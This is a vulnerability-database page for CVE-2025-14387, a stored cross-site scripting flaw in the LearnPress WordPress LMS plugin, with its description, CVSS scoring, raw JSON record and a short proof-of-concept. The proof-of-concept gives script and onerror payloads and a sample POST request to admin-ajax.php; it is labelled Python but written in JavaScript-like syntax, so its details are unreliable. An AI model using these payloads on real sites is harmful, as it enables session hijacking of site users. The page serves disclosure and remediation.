Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-14387 CVSS 6.4 MEDIUM

CVE-2025-14387

Published: 2025-12-15 16:15:51
Last Modified: 2026-04-15 00:35:42

Description

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LearnPress WordPress LMS Plugin <= 4.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14387 PoC - Stored XSS in LearnPress LMS Plugin // Prerequisites: WordPress account with Subscriber role or higher // Step 1: Authenticate and get nonce // Step 2: Create or edit a course with XSS payload in title/description // Example XSS payload in course title: const xssPayload = '<script>alert(document.cookie)</script>'; // HTTP POST request to create course: const createCourseRequest = { method: 'POST', url: 'https://target-site.com/wp-admin/admin-ajax.php', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_logged_in_xxx=xxx' }, body: 'action=learnpress_save_course&nonce=xxx&post_title=<script>alert(document.cookie)</script>&post_content=<img src=x onerror=alert(1)>' }; // When other users visit the course page, the XSS will execute automatically. // This can lead to session hijacking, credential theft, or further attacks. // Remediation: Update to LearnPress version 4.3.2 or later // GitHub fix: https://github.com/LearnPress/learnpress/commit/3bdaa63920c7d485e7efa7c92d3f19273a2916ff

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14387", "sourceIdentifier": "[email protected]", "published": "2025-12-15T16:15:51.453", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/LearnPress/learnpress/commit/3bdaa63920c7d485e7efa7c92d3f19273a2916ff", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f29b3a37-436d-4d03-8818-d5267b23067b?source=cve", "source": "[email protected]"}]}}